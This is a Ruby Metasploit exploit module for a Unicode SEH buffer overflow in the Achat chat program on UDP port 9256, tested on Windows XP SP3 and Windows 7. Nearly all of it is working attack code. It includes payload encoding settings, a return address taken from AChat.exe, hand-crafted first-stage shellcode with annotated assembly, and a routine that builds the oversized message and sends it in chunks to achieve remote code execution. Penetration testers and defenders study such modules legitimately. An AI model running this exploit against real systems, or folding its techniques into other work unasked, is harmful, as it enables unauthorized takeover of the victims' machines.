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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Udp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Achat Unicode SEH Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a Unicode SEH buffer overflow in Achat. By
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        sending a crafted message to the default port 9256/UDP, it's possible to overwrite the
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        SEH handler. Even when the exploit is reliable, it depends on timing since there are
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        two threads overflowing the stack in the same time. This module has been tested on
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        Achat v0.150 running on Windows XP SP3 and Windows 7.
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      },
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      'Author'         =>
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        [
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          'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery
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          'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module
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        ],
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      'License'	       => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CWE', '121'],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process'
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        },
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'    => 730,
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          'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"),
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          'StackAdjustment' => -3500,
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          'EncoderType'    => Msf::Encoder::Type::AlphanumUnicodeMixed,
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          'EncoderOptions'  =>
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            {
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              'BufferRegister' => 'EAX'
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            }
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          # Tested OK Windows XP SP3, Windows 7
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          # Not working on Windows Server 2003
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          [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe
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        ],
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      'Privileged'     => false,
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2014-12-18'))
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    register_options(
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      [
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        Opt::RPORT(9256)
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      ])
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  end
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  def exploit
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    connect_udp
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    # 0055 00          ADD BYTE PTR SS:[EBP],DL # padding
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    # 2A00             SUB AL,BYTE PTR DS:[EAX] # padding
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    # 55               PUSH EBP                 # ebp holds a close pointer to the payload
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 58               POP EAX                  # mov eax, ebp
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 05 00140011      ADD EAX,11001400         # adjusting eax
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 2D 00130011      SUB EAX,11001300         # lea eax, eax+100
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 50               PUSH EAX                 # eax points to the start of the shellcode
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 58               POP EAX                  # padding
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    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
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    # 59               POP ECX                  # padding
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    # 0039             ADD BYTE PTR DS:[ECX],BH # padding
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    first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39"
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    sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00"
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    sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46)
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    sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset
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    sploit << "\x61\x40" # POPAD + INC EAX
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    sploit << target.ret # AChat.exe p/p/r address
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    # adjusting the first thread's unicode payload, tricky asm-fu
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    # the first seh exception jumps here, first_stage variable will be executed
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    # by the second seh exception as well. It needs to be in sync with the second
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    # thread, so that is why we adjust eax/ebp to have a close pointer to the
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    # payload, then first_stage variable will take the rest of the job.
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    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
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    # 55               PUSH EBP                 # ebp with close pointer to payload
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 58               POP EAX                  # put ebp to eax
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    # 006E 00          ADD BYTE PTR DS:[ESI],CH # padding
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    # 2A00             SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place
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    # 2A00             SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more
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    # 05 00140011      ADD EAX,11001400         # more adjusting
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    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
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    # 2D 00130011      SUB EAX,11001300         # lea eax, eax+100
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    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
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    # 50               PUSH EAX			# saving eax
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    # 0043 00          ADD BYTE PTR DS:[EBX],AL # padding
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    # 5D               POP EBP			# mov ebp, eax
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    sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43"
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    sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread
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    sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX
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    sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload
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    sploit << "\x00" + 'A' * 10 + "\x00"
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    i = 0
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    while i < sploit.length do
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      if i > 172000
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        Rex::sleep(1.0)
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      end
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      sent = udp_sock.put(sploit[i..i + 8192 - 1])
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      i += sent
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    end
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    disconnect_udp
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  end
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end
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